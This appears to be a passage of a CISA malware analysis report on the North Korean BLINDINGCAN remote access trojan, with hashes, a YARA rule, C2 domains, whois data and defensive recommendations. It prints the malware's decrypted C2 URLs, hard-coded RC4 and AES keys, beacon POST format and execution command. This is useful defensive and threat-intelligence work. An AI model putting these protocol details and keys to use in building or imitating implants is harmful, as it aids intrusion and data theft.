"boardid, bbsNo, strBoardID, userid, bbsfilename, code, pidseqNo, ReportID, v, PageNumbernumviewread, action, pagemodeidx, cateId, bbsId, pType, pcode, index, tblidx\_num, act, bbs\_id, bbs\_form, bidbbscate, menutcode, b\_code, bname, tb, borad01, borad02, borad03, midnewsid, table, Board\_seq, bc\_idx, seqArticleIDB\_Notice, nowPage, webid, boardDiv, sub\_idx"
--End randomly selected string tags--

The second parameter tag 'page=' is a randomly selected name from the list of the above string tags which contains the "session id" data. This data is encrypted using the same generated RC4 key before Base64 encoded.

The third parameter tag 'bbsNo=' is a randomly selected name from a list of the above string tags which contains a hard-coded string data "T1B7D95256A2001E" in the malware. This data is encrypted using the RC4 key and then the data is Base64 encoded.

Analysis indicates that when encrypting data from the first three parameters, the encryption starts "0xC00 bytes" into the RC4 key stream.

The fourth parameter tag 'bname=' is a randomly selected name from the list of the above string tags which contains the datagram to be sent. The datagram is encrypted with a combination of RC4 and differential XOR. The RC4 key used is "0D 06 09 2A 86 48 86 F7 0D 01 01 01 05 00 03 82".

It contains the following built-in functions for remote operations that provide various capabilities on a victim's system:

--Begin built-in functions--

Retrieve information about all installed disks, including the disk type and the amount of free space on the disk

Create, start, and terminate a new process and its primary thread

Search, read, write, move, and execute files

Get and modify file or directory timestamps

Change the current directory for a process or file

Delete malware and artifacts associated with the malware from the infected system

-- End built-in functions--

#### 7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd

٦	Га	gs	
	ч	5	•

#### HIDDEN-COBRA

#### **Details**

Name 7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd

Size 163840 bytes

**Type** PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

**MD5** 6f329c32f228d9a4d856afd4794c7f2b

**SHA1** 4be9aecc0fc76c037420ece97645c6a32294a230

SHA256 7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd

**SHA512** | f4aff0e36fb98d64ff207a983ca7ed10c11ad7b01953b545c655a3349016f9d6c5fbd3cc8d44851cb68c51f069da2469b1e

3445cd60b6e1365375402ad671160

ssdeep 384:vNV+PKlwRYnd2dPugCkPV59FYRz8xM6hwXlbfR+1nu6EDH+zj+1XoNC3vyFAt1:vNIKip92x8rhOdmnTEDwu3vy

**Entropy** 1.605796

#### Antivirus

No matches found.

#### YARA Rules

No matches found.

# ssdeep Matches

No matches found.

#### PE Metadata

Compile Date 2019-10-30 22:21:48-04:00

**Import Hash** 75588d29242e426f361ddcf8c53954f5

#### **PE Sections**

MD5	Name	Raw Size	Entropy
0452202027da519acb3a7d074696de07	header	1024	2.351340
ae1c3feb6a3beda4db0ce8c794af77e7	.text	17920	6.473020
c139714dd00b81eb08ecaf32bdced254	.rdata	8192	4.655148
0685a556cdaa359c306b3c7830fc6f1e	.data	3072	2.403876
a2b361aa5b6f2d5912845d84ca96a368	.rsrc	512	5.105029
d2e652e58f57bd6314d5ebf8f59687e9	.reloc	2048	5.497034

# Packers/Compilers/Cryptors

Microsoft Visual C++ DLL \*sign by CodeRipper

# Relationships

7d507281e2... Co

Contained\_Within

b70e66d387e42f5f04b69b9eb15306036 702ab8a50b16f5403289b5388292db9

# Description

This application is a 32-bit DLL unpacked and executed by

"b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9". This file is designed to unmap the DLL

# 0fc12e03ee93d19003b2dd7117a66a3da03bd6177ac6eb396ed52a40be913db6

### Tags

downloader dropper

# Details

Name 0FC12E03EE93D19003B2DD7117A66A3DA03BD6177AC6EB396ED52A40BE913DB6

Size 900096 bytes

**Type** PE32+ executable (DLL) (GUI) x86-64, for MS Windows

**MD5** b1dd2c73b3c13a147828f7bb4389d241

**SHA1** 5275449d25a64e7415c1c1e727a0af76b08c2811

<sup>&</sup>quot;C:\ProgramData\iconcache.db" loaded in the process.

SHA256

0fc12e03ee93d19003b2dd7117a66a3da03bd6177ac6eb396ed52a40be913db6

SHA512

054b8c4345e97aa4719415971cb5df83f208a2c11302baba66392251a5d7d8251e564443fd4716d82cacf2a5da94250cc

8defd9300e0885034c471a07cdc5510

ssdeep

12288: sXcnHdDS0zaEw2W912s3xN+JgHGJNfKAyhnB8EoarWY9ZtvaBmBJnLoAFMx8wlWF: sMH9S8avT2Ex5mJNfbyYandard State (State of the Control of the Cont

BaaY9Ly8qK

Entropy

7.961146

#### Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

**Compile Date** 

2020-05-20 02:03:51-04:00

Import Hash

65793cf7eaeca085293db7251eb4469a

#### PE Sections

MD5	Name	Raw Size	Entropy
a1c37a2c9fedecabe570383d81bfb5d6	header	1024	2.524544
61e11f8acaaf9d065546a237ced1e964	.text	31744	6.348358
9f1fe9ee707daa61e91ad94d618b066f	.rdata	11264	4.687720
300ac7ec543fda0fab22c110a7d26281	.data	850432	7.993358
da2a58c7e17c14ced8b67bc462ad7427	.pdata	2048	4.219318
531f04a4abeb58f9e10fffc6afe98250	.rsrc	512	5.110827
58c4168b836758e380e64f12eca00760	.reloc	3072	1.006647

#### Relationships

0fc12e03ee... Dropped

d5186efd8502a3a99a66729cb847d3f4be 8937a3fec1c2655b6ea81f57a314f5

# Description

This application is a 64-bit DLL. Upon execution, it decodes an embedded 64-bit UPX packed DLL using a hard-coded XOR key: "0x59". The decoded DLL is installed and executed from "C:\ProgramData\iconcache.db" (d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5) with the following command:

- --Begin Command--
- "C:\Windows\System32\rundll32.exe C:\ProgramData\iconcache.db,SMain S-7-43-8423-97048307-383378-8483"
- --End Command--

# d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

Tags

obfuscated remote-access-trojan

**Details** 

Name iconcache.db
Size 845312 bytes

**Type** PE32+ executable (DLL) (GUI) x86-64, for MS Windows

MD5 c2c5751cdfdbe9fac44337d4cb6e74e4

**SHA1** 02678efe715ff2658c6a4c2b596046b744a8b222

**SHA256** d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

SHA512 dddd82c21ee815a570689c8023f51267a2699346eadb8cf5cb6a2bfc4e0404ab8388608e934c03b8b69819bab1b5252e

d8b29391f543a1c1e8aeb83360e5f4d2

**ssdeep** 24576:aSiVfP99Z7QI32TVKBixBWfSVz5HlWkZtk:aSMH94/TVKsfGc9Iqt

**Entropy** 7.996450

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

**Compile Date** 2019-10-30 22:22:27-04:00

**Import Hash** bddf350b1495019b036eb25682895735

**Company Name** TODO: <Company name> ToDO: <File description>

Internal Name | MFC\_DLL.dll

**Legal Copyright** TODO: (c) < Company name > . All rights reserved.

Original Filename | MFC\_DLL.dll

**Product Name** 

TODO: < Product name>

Product Version 1.0.0.1

PE Sections			
MD5	Name	Raw Size	Entropy
bbdf7f1c6cfdab4beb23ae1f5e5e8e3f	header	1024	2.753386
d41d8cd98f00b204e9800998ecf8427e	UPX0	0	0.000000
61de5945f98a8652eaf4ae5b93b41128	UPX1	838656	7.999757
70b01a5a98c1febe2bde96c9270957c3	.rsrc	5632	3.718427

# Relationships

d5186efd85	Connected_To	curiofirenze.com
d5186efd85	Connected_To	automercado.co.cr
d5186efd85	Dropped_By	0fc12e03ee93d19003b2dd7117a66a3da 03bd6177ac6eb396ed52a40be913db6
d5186efd85	Contains	58027c80c6502327863ddca28c31d352e 5707f5903340b9e6ccc0997fcb9631d
d5186efd85	Contains	8b53b519623b56ab746fdaf14d3eb402e 6fa515cde2113a07f5a3b4050e98050

# Description

This application is a 64-bit UPX packed DLL installed by

"0FC12E03EE93D19003B2DD7117A66A3DA03BD6177AC6EB396ED52A40BE913DB6" into the C:\ProgramData\iconcache.db" directory. During execution, it uses AES cipher to decrypt and then decompress two embedded 64-bit DLL binaries "58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d" and

"8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050" in memory. These binaries are loaded and executed in memory during runtime.

# 58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d

# Tags

#### HIDDEN-COBRA

#### Details

Name

58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d

Size

214608 bytes

Type

PE32+ executable (DLL) (GUI) x86-64, for MS Windows

MD5

6c2d15114ebdd910a336b6b147512a74

9feef1eed2a8a5cbfe1c6478f2740d8fe63305e2 SHA1 SHA256 58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d 77fd1d56a0f0cf143286fb78519b69eb8ef30f383c117d353ab16d0be5f2bfdbdb847d717dbc8b70b5d806a46fa4a1dc2 SHA512 9a8304b8349bc1097075f50557c5da8 3072:WvG/9l8VoAo8gj83efR0TmXBlPbAjoSrL90z1agX:0VoAo8qlWTmXBlPbAjHl0j ssdeep Entropy 4.709829

#### **Antivirus**

No matches found.

#### YARA Rules

```
• rule CISA_10295134_01: rat trojan HIDDENCOBRA BLINDINGCAN
   meta:
     Author = "CISA Code & Media Analysis"
     Incident = "10295134"
     Date = "2020-07-28"
     Last_Modified = "20200730_1030"
     Actor = "HiddenCobra"
     Category = "Trojan RAT"
     Family = "BLINDINGCAN"
     Description = "Detects 32 and 64bit HiddenCobra BlindingCan Trojan RAT"
     MD5_1 = "e7718609577c6e34221b03de7e959a8c"
     SHA256_1 = "bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1"
     MD5_2 = "6c2d15114ebdd910a336b6b147512a74"
     SHA256_2 = "58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d"
   strings:
     $s0 = { C7 44 24 20 0D 06 09 2A C7 44 24 24 86 48 86 F7 C7 44 24 28 0D 01 01 01 C7 44 24 2C 05 00 03 82 }
     $s1 = { C7 45 EC 0D 06 09 2A C7 45 F0 86 48 86 F7 C7 45 F4 0D 01 01 01 C7 45 F8 05 00 03 82 }
   condition:
     $s0 or $s1
```

#### ssdeep Matches

20ee5fdc9589067a7a312d6f660f0c8f33048f511975298ca6a9bfed145fe8fd

78a65874b49922217fd0423cc6293a23f70cb804022283ed3187b71178663ca3

#### PE Metadata

90

100

Compile Date

2020-05-19 03:26:27-04:00

Import Hash af2479dbb1f93be4fc4a092cbbd4df85

PE Sections				
MD5		Name	Raw Size	Entropy
6066ee1e6c73fe6	5133738f26cf898280	header	1024	2.581998
bfbe6f46025a258	310199ae50f7f7ed04	.text	90624	6.498666
2cc742e33c53aek	o638e9798422f8adaa	.rdata	31232	6.194223
21c81d1a5ad558	3610f1bcb7827fec54	.data	14336	3.377777
0a93a2ad9833de	eb5581854bc11c7fcb7	.pdata	3584	4.918413
9a338388958302	47744985365b8b2948	.rsrc	512	5.115767
e032dedb2f8e5a	189a3a98897f1f7f92	.reloc	1536	2.852342
Relationships				
58027c80c6	Contained_Within	d5186efd8502a3a99a66729cb847d3f4be 8937a3fec1c2655b6ea81f57a314f5		
58027c80c6	Connected_From	curiofirenz	e.com	
58027c80c6	Connected_From	automerca	do.co.cr	
Description				

#### Description

This application is a malicious 64-bit DLL unpacked and executed by

"d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5". This binary has been identified as a 64-bit version of the Hidden Cobra RAT "bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1". This file contains the same embedded configuration data. The embedded data is decrypted using a hard-coded AES decryption key: "81SNWX3ALGPDMW5V". The decrypted data is decoded using an XOR cipher. Displayed below is the content of the decoded data:

--Begin configuration data--

https[:]//www[.]automercado.co.cr/empleo/css/main.jsp

https[:]//www[.]automercado.co.cr/empleo/css/main.jsp

https[:]//www[.]automercado.co.cr/empleo/css/main.jsp

https[:]//www[.]curiofirenze.com/include/inc-site.asp

https[:]//www[.]curiofirenze.com/include/inc-site.asp

c:\windows\system32\cmd.exe

%temp%

--End configuration data--

The malware decrypts its strings using a hard-coded RC4 key "0D 06 09 2A 86 48 86 F7 0D 01 01 01 05 00 03 82". Displayed below are sample decrypted strings observed during analysis:

--Begin decrypted strings--

"Hardware\Description\System\CentralProcessor\0"

"ProcessorNameString"

"boardid, bbsNo, strBoardID, userid, bbsfilename, code, pidseqNo, ReportID, v, PageNumbernumviewread, action, pagemodeidx, cateId, bbsId, pType, pcode, index, tblidx\_num, act, bbs\_id, bbs\_form, bidbbscate, menutcode, b\_code, bname, tb, borad01, borad02, borad03, midnewsid, table, Board\_seq, bc\_idx, seqArticleIDB\_Notice, nowPage, webid, boardDiv, sub\_idx" "\\tsclient\"

--End decrypted strings--

It collects the following information about the victim's system and beacons the collected data to the C2 "curiofirenze.com" and "automercado.co.cr":

--Begin system information-Operating system (OS) version information
Processor information
System name
Local IP address information
Media access control (MAC) address.
--End system information--

It attempts to retrieve the User-Agent string from the victim's system, if not available, it uses the following embedded User-Agent string:

--Begin User-Agent String--

"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36".

--End User-Agent String--

It will generate HTTP POST requests with the following format:

--Begin HTTP POST format--

POST /<uri> HTTP/1.1

Connection: Keep-Alive Cache-Control: no-cache

Content-Type: application/x-www-form-urlencoded

Accept: \*/\*

User-Agent: <obtained from ObtainUserAgentString otherwise: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 >

Host: <domain>

Content-Length: <length>

--End HTTP POST format--

The HTTP POST body contains four parameters of Base64 encoded data as displayed below:

--Begin four parameters--

Four parameters: id=<nine random character generated RC4 key><three\_random\_param\_selected>&<second parameter>= <sessionID>&<third parameter >=<hard-coded\_String>&<fourth parameter>=<datagram>

Sample: id=Z2ptZmx0b250JpzkM7R+AAxesq7t1Eo4Dg==&page=bsyybw==&bbsNo=AszBYcolV00l69W9ihtkLg==&bname=" --End four parameters--

The first parameter tag, 'id=', will consist of two separate Base64 encoded parts. The first part consists of a Base64 encoded nine random generated lower case character RC4 key used for encryption. The second part of the 'id=' parameter tag will contain three parameters randomly selected from a list of the below strings. These three randomly selected name tags are colon delimited and stored in the following format: "first name tag:second name tag:third name tag". This data is encrypted using the nine random character generated RC4 key and Base64 encoded.

--Begin randomly selected string tags--

"boardid, bbsNo, strBoardID, userid, bbsfilename, code, pidseqNo, ReportID, v, PageNumbernumviewread, action, pagemodeidx, cateId, bbsId, pType, pcode, index, tblidx\_num, act, bbs\_id, bbs\_form, bidbbscate, menutcode, b\_code, bname, tb, borad01, borad02, borad03, midnewsid, table, Board\_seq, bc\_idx, seqArticleIDB\_Notice, nowPage, webid, boardDiv, sub\_idx"
--End randomly selected string tags--

The second parameter tag 'page=' is a randomly selected name from the list of the above string tags which contains the "session id" data. This data is encrypted using the same generated RC4 key before Base64 encoded.

The third parameter tag 'bbsNo=' is a randomly selected name from the list of the above string tags which contains a hard-coded string data "T1B7D95256A2001E" in the malware. This data is encrypted using the RC4 key and then the data is Base64 encoded. Analysis indicates that when encrypting data from the first three parameters, the encryption starts "0xC00 bytes" into the RC4 key stream.

The fourth parameter tag 'bname=' is a randomly selected name from a list of the above string tags which contains the datagram to be sent. The datagram is encrypted with a combination of RC4 and differential XOR. The RC4 key used is "0D 06 09 2A 86 48 86 F7 0D 01 01 05 00 03 82".

It contains the following built-in functions for remote operations that provide various capabilities on a victim's system:

--Begin built-in functions--

Retrieve information about all installed disks, including the disk type and the amount of free space on the disk Create, start, and terminate a new process and its primary thread Search, read, write, move, and execute files Get and modify file or directory timestamps Change the current directory for a process or file

#### 8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050

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$\boldsymbol{\nu}$	CLA		ιc

Name 8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050

Size 172208 bytes

Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows

**MD5** 63d155f889e09272d85cfd9dfc266131

**SHA1** 3f6ef29b86bf1687013ae7638f66502bcf883bfd

**SHA256** 8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050

SHA512 1f5464c9cb2786174d953666a287d5a681abe627e9caddf45986cd73290e6d73db9ddf2ccd589a0c09e4fe10cdf42b1d8

d31dbfc5759505866f516769fea1727

ssdeep 768:XKXHstI+TCTWBGtl7CTnEUbrNXzuXrSXjkD4opaY16iWr:X7TCN/CTrbrNjGsjMdvW

**Entropy** 1.637592

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

**Compile Date** 2019-10-30 22:21:47-04:00

**Import Hash** 7e564082b35201e421694b4ecea4ed0a

#### PE Sections

MD5	Name	Raw Size	Entropy
71170f767f99b3b8e8fb41eb4ca505b9	header	1024	2.465212
99d34a0fcb234b3aed2a92fc7101b9f5	.text	20480	6.210180
46abe134e48b8af335f468d25c91a1fe	.rdata	9728	4.554618
c545b6874d37d733e970a7e884ddc2c7	.data	4096	2.099924
0d6201e58760b130181228a80ca4a775	.pdata	1536	3.828383
a09ee0743bee58fbe63a9a50c1d3f79b	.rsrc	512	5.105029

1360c7212899568e17f02f8e61db1c60 .reloc 512 4.003257

Relationships

8b53b51962... Contained\_Within d5186efd8502a3a99a66729cb847d3f4be

8937a3fec1c2655b6ea81f57a314f5

# Description

This application is a 64-bit DLL unpacked and executed by

"d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5". This file is designed to unmap the DLL

"C:\ProgramData\iconcache.db" loaded in the process.

#### curiofirenze.com

#### Tags

#### command-and-control

#### **URLs**

• hxxps[:]//www[.]curiofirenze.com/include/inc-site.asp

#### **Ports**

443 TCP

#### **HTTP Sessions**

• https://www.curiofirenze.com/include/inc-site.asp

id=bHRhcGpjaGR05HlC99liJ/0pLNaM14H22x8ktA==&PageNumber=hitSpw==&bname=4CInpdMuf615aK3cidCq+w==&tb=

Connection: Keep-Alive Cache-Control: no-cache

Accept: \*/\*

Content-Type: application/x-www-form-urlencoded

Content-Length: %d Mozilla/5 0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98

Safari/537.36

#### Whois

Domain Name: curiofirenze.com

Registry Domain ID: 1874895918\_DOMAIN\_COM-VRSN

Registrar WHOIS Server: whois.joker.com

Registrar URL: https://joker.com Updated Date: 2019-11-25T10:15:37Z Creation Date: 2014-09-09T12:05:53Z

Registrar Registration Expiration Date: 2020-09-09T12:05:53Z

Registrar: CSL Computer Service Langenbach GmbH d/b/a joker.com

Registrar IANA ID: 113

Registrar Abuse Contact Email: abuse@joker.com

Registrar Abuse Contact Phone: +49.21186767447

Reseller: CWNET s.r.l.

Reseller: Internet Service Provider Reseller: http://www.cheapnet.it

Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited

Registrant Organization: Curio s.r.l. Registrant State/Province: FI

Registrant Country: IT

Name Server: lady.ns.cloudflare.com Name Server: phil.ns.cloudflare.com

DNSSEC: unsigned

URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/

>>> Last update of WHOIS database: 2020-06-30T20:18:19Z <<<

# Relationships

curiofirenze.com	Connected_From	b70e66d387e42f5f04b69b9eb15306036 702ab8a50b16f5403289b5388292db9
curiofirenze.com	Connected_From	d5186efd8502a3a99a66729cb847d3f4be 8937a3fec1c2655b6ea81f57a314f5
curiofirenze.com	Resolved_To	192.99.20.39
curiofirenze.com	Connected_From	bdfd16dc53f5c63da0b68df71c6e61bad3 00e59fd5748991a6b6a3650f01f9a1
curiofirenze.com	Connected_To	58027c80c6502327863ddca28c31d352e 5707f5903340b9e6ccc0997fcb9631d

# Description

Both the 32-bit and 64-bit "iconcache.db" connect to the domain via HTTPS POST requests on port 443 with encoded data.

#### 192.99.20.39

#### Whois

Queried whois.arin.net with "n 192.99.20.39"...

NetRange: 192.99.0.0 - 192.99.255.255

CIDR: 192.99.0.0/16
NetName: OVH-ARIN-7
NetHandle: NET-192-99-0-0-1
Parent: NET192 (NET-192-0-0-0)

NetType: Direct Allocation

OriginAS: AS16276

Organization: OVH Hosting, Inc. (HO-2)

RegDate: 2013-06-17 Updated: 2013-06-17 Comment: www.ovh.com

Ref: https://rdap.arin.net/registry/ip/192.99.0.0

OrgName: OVH Hosting, Inc.

Orgld: HO-2

Address: 800-1801 McGill College

City: Montreal StateProv: QC

PostalCode: H3A 2N4

Country: CA

RegDate: 2011-06-22 Updated: 2017-01-28

Ref: https://rdap.arin.net/registry/entity/HO-2

OrgAbuseHandle: ABUSE3956-ARIN

OrgAbuseName: Abuse

OrgAbusePhone: +1-855-684-5463 OrgAbuseEmail: abuse@ovh.ca

OrgAbuseRef: https://rdap.arin.net/registry/entity/ABUSE3956-ARIN

OrgTechHandle: NOC11876-ARIN

OrgTechName: NOC

OrgTechPhone: +1-855-684-5463 OrgTechEmail: noc@ovh.net

OrgTechRef: https://rdap.arin.net/registry/entity/NOC11876-ARIN

Relationships

192.99.20.39 Resolved\_To curiofirenze.com

Description

Domain "curiofirenze.com" resolved to this IP address during analysis.

#### automercado.co.cr

Tags

command-and-control

#### **URLs**

• hxxps[:]//www[.]automercado.co.cr/empleo/css/main.jsp

#### Ports

443 TCP

#### **HTTP Sessions**

• hxxps[:]//www[.]automercado.co.cr/empleo/css/main.jsp

id=ZHJnd296a3RneKp2cza8ztn5YZTuEO4IhpdkXb0=&bbs\_id=Kfk8Gw==&bname=TvlHGxvhwYmiNri5Grdduw==&idx\_num=

Connection: Keep-Alive Cache-Control: no-cache

Accept: \*/\*

Content-Type: application/x-www-form-urlencoded

Content-Length: %d Mozilla/5 0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98

Safari/537.36

#### Whois

domain: automercado.co.cr

registrant: CON-292 admin-c: CON-292

nsset: AUTOMERCADO\_CO\_CR

registrar: NIC-REG1

registered: 03.03.1996 06:00:00 changed: 24.02.2020 08:19:22

expire: 02.03.2021

contact: CON-292 address: San José address: 1500-1000 address: San Josí©

address: CR

registrar: NIC-REG1

created: 03.06.2011 22:38:21

nsset: AUTOMERCADO\_CO\_CR nserver: ns3.x-peditenetworks.com nserver: ns1.x-peditenetworks.com nserver: ns2.x-peditenetworks.com

tech-c: ASANCHEZ\_AT\_AUTOMERCADO.CR

registrar: NIC-REG1

created: 03.06.2011 12:27:09 changed: 25.09.2012 10:01:46

address: 50 m sur del parque morazan

address: San Jose address: 1500-1000 address: San José

address: CR

registrar: NIC-REG1

created: 25.09.2012 09:59:04

# Relationships

automercado.co.cr	Resolved_To	54.241.91.49
automercado.co.cr	Connected_From	b70e66d387e42f5f04b69b9eb15306036 702ab8a50b16f5403289b5388292db9
automercado.co.cr	Connected_From	d5186efd8502a3a99a66729cb847d3f4be 8937a3fec1c2655b6ea81f57a314f5
automercado.co.cr	Connected_From	bdfd16dc53f5c63da0b68df71c6e61bad3 00e59fd5748991a6b6a3650f01f9a1
automercado.co.cr	Connected_To	58027c80c6502327863ddca28c31d352e 5707f5903340b9e6ccc0997fcb9631d

# Description

Both the 32-bit and 64-bit "iconcache.db" connect to the domain via HTTPS POST requests on port 443 with encoded data.

#### 54.241.91.49

# Whois

Queried whois.arin.net with "n 54.241.91.49"...

NetRange: 54.240.0.0 - 54.255.255.255

CIDR: 54.240.0.0/12
NetName: AMAZON-2011L
NetHandle: NET-54-240-0-0-1
Parent: NET54 (NET-54-0-0-0)
NetType: Direct Allocation

OriginAS: AS16509

Organization: Amazon Technologies Inc. (AT-88-Z)

RegDate: 2011-12-09 Updated: 2012-04-02

Ref: https://rdap.arin.net/registry/ip/54.240.0.0

OrgName: Amazon Technologies Inc.

Orgld: AT-88-Z

Address: 410 Terry Ave N.

City: Seattle StateProv: WA PostalCode: 98109 Country: US

RegDate: 2011-12-08 Updated: 2020-03-31

Comment: All abuse reports MUST include:

Comment: \* src IP

Comment: \* dest IP (your IP)

Comment: \* dest port

Comment: \* Accurate date/timestamp and timezone of activity

Comment: \* Intensity/frequency (short log extracts)

Comment: \* Your contact details (phone and email) Without these we will be unable to identify the correct owner of the IP

address at that point in time.

Ref: https://rdap.arin.net/registry/entity/AT-88-Z

OrgAbuseHandle: AEA8-ARIN

OrgAbuseName: Amazon EC2 Abuse OrgAbusePhone: +1-206-266-4064

OrgAbuseEmail: abuse@amazonaws.com

 $OrgAbuseRef: \ https://rdap.arin.net/registry/entity/AEA8-ARIN$ 

OrgNOCHandle: AANO1-ARIN

OrgNOCName: Amazon AWS Network Operations

OrgNOCPhone: +1-206-266-4064

OrgNOCE mail: amzn-noc-contact@amazon.com

OrgNOCRef: https://rdap.arin.net/registry/entity/AANO1-ARIN

OrgTechHandle: ANO24-ARIN

OrgTechName: Amazon EC2 Network Operations

OrgTechPhone: +1-206-266-4064

 ${\tt OrgTechEmail: amzn-noc-contact@amazon.com}$ 

OrgTechRef: https://rdap.arin.net/registry/entity/ANO24-ARIN

OrgRoutingHandle: ADR29-ARIN

OrgRoutingName: AWS Dogfish Routing OrgRoutingPhone: +1-206-266-4064

OrgRoutingEmail: aws-dogfish-routing-poc@amazon.com

OrgRoutingRef: https://rdap.arin.net/registry/entity/ADR29-ARIN

OrgRoutingHandle: IPROU3-ARIN OrgRoutingName: IP Routing OrgRoutingPhone: +1-206-266-4064

OrgRoutingEmail: aws-routing-poc@amazon.com

OrgRoutingRef: https://rdap.arin.net/registry/entity/IPROU3-ARIN

Relationships

54.241.91.49 Resolved\_To automercado.co.cr

Description

Domain "automercado.co.cr" resolved to this IP during analysis.

# **Relationship Summary**

586d012540	Connected_To	agarwalpropertyconsultants.com
agarwalpropertyconsultants.com	Connected_From	586d012540ed1244572906e3733a0cb4b ba90a320da82f853e5dfac82c5c663e
agarwalpropertyconsultants.com	Resolved_To	199.79.63.24
199.79.63.24	Resolved_To	agarwalpropertyconsultants.com
158ddb8561	Connected_To	anca-aste.it
7933716892	Connected_To	anca-aste.it
6a3446b8a4	Connected_To	anca-aste.it
anca-aste.it	Resolved_To	51.68.152.96
anca-aste.it	Connected_From	6a3446b8a47f0ab4f536015218b22653fff 8b18c595fbc5b0c09d857eba7c7a1
anca-aste.it	Connected_From	158ddb85611b4784b6f5ca7181936b86e b0ec9a3c67562b1d57badd7b7ec2d17
anca-aste.it	Connected_From	7933716892e0d6053057f5f2df0ccadf5b0 6dc739fea79ee533dd0cec98ca971
51.68.152.96	Resolved_To	anca-aste.it
d40ad4cd39	Dropped	b70e66d387e42f5f04b69b9eb15306036 702ab8a50b16f5403289b5388292db9
b70e66d387	Connected_To	curiofirenze.com

b70e66d387	Connected_To	automercado.co.cr
b70e66d387	Dropped_By	d40ad4cd39350d718e189adf45703eb3a 3935a7cf8062c20c663bc14d28f78c9
b70e66d387	Contains	bdfd16dc53f5c63da0b68df71c6e61bad3 00e59fd5748991a6b6a3650f01f9a1
b70e66d387	Contains	7d507281e2e21476ff1af492ad9f574b14c bf77eb4cda9b67e4256318c7c6bbd
bdfd16dc53	Contained_Within	b70e66d387e42f5f04b69b9eb15306036 702ab8a50b16f5403289b5388292db9
bdfd16dc53	Connected_To	curiofirenze.com
bdfd16dc53	Connected_To	automercado.co.cr
7d507281e2	Contained_Within	b70e66d387e42f5f04b69b9eb15306036 702ab8a50b16f5403289b5388292db9
0fc12e03ee	Dropped	d5186efd8502a3a99a66729cb847d3f4be 8937a3fec1c2655b6ea81f57a314f5
d5186efd85	Connected_To	curiofirenze.com
d5186efd85	Connected_To	automercado.co.cr
d5186efd85	Dropped_By	0fc12e03ee93d19003b2dd7117a66a3da 03bd6177ac6eb396ed52a40be913db6
d5186efd85	Contains	58027c80c6502327863ddca28c31d352e 5707f5903340b9e6ccc0997fcb9631d
d5186efd85	Contains	8b53b519623b56ab746fdaf14d3eb402e 6fa515cde2113a07f5a3b4050e98050
58027c80c6	Contained_Within	d5186efd8502a3a99a66729cb847d3f4be 8937a3fec1c2655b6ea81f57a314f5
58027c80c6	Connected_From	curiofirenze.com
58027c80c6	Connected_From	automercado.co.cr
8b53b51962	Contained_Within	d5186efd8502a3a99a66729cb847d3f4be 8937a3fec1c2655b6ea81f57a314f5
curiofirenze.com	Connected_From	b70e66d387e42f5f04b69b9eb15306036 702ab8a50b16f5403289b5388292db9
curiofirenze.com	Connected_From	d5186efd8502a3a99a66729cb847d3f4be 8937a3fec1c2655b6ea81f57a314f5
curiofirenze.com	Resolved_To	192.99.20.39
curiofirenze.com	Connected_From	bdfd16dc53f5c63da0b68df71c6e61bad3

		00e59fd5748991a6b6a3650f01f9a1
curiofirenze.com	Connected_To	58027c80c6502327863ddca28c31d352e 5707f5903340b9e6ccc0997fcb9631d
192.99.20.39	Resolved_To	curiofirenze.com
automercado.co.cr	Resolved_To	54.241.91.49
automercado.co.cr	Connected_From	b70e66d387e42f5f04b69b9eb15306036 702ab8a50b16f5403289b5388292db9
automercado.co.cr	Connected_From	d5186efd8502a3a99a66729cb847d3f4be 8937a3fec1c2655b6ea81f57a314f5
automercado.co.cr	Connected_From	bdfd16dc53f5c63da0b68df71c6e61bad3 00e59fd5748991a6b6a3650f01f9a1
automercado.co.cr	Connected_To	58027c80c6502327863ddca28c31d352e 5707f5903340b9e6ccc0997fcb9631d
54.241.91.49	Resolved_To	automercado.co.cr

# Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

- Maintain up-to-date antivirus signatures and engines.
- Keep operating system patches up-to-date.
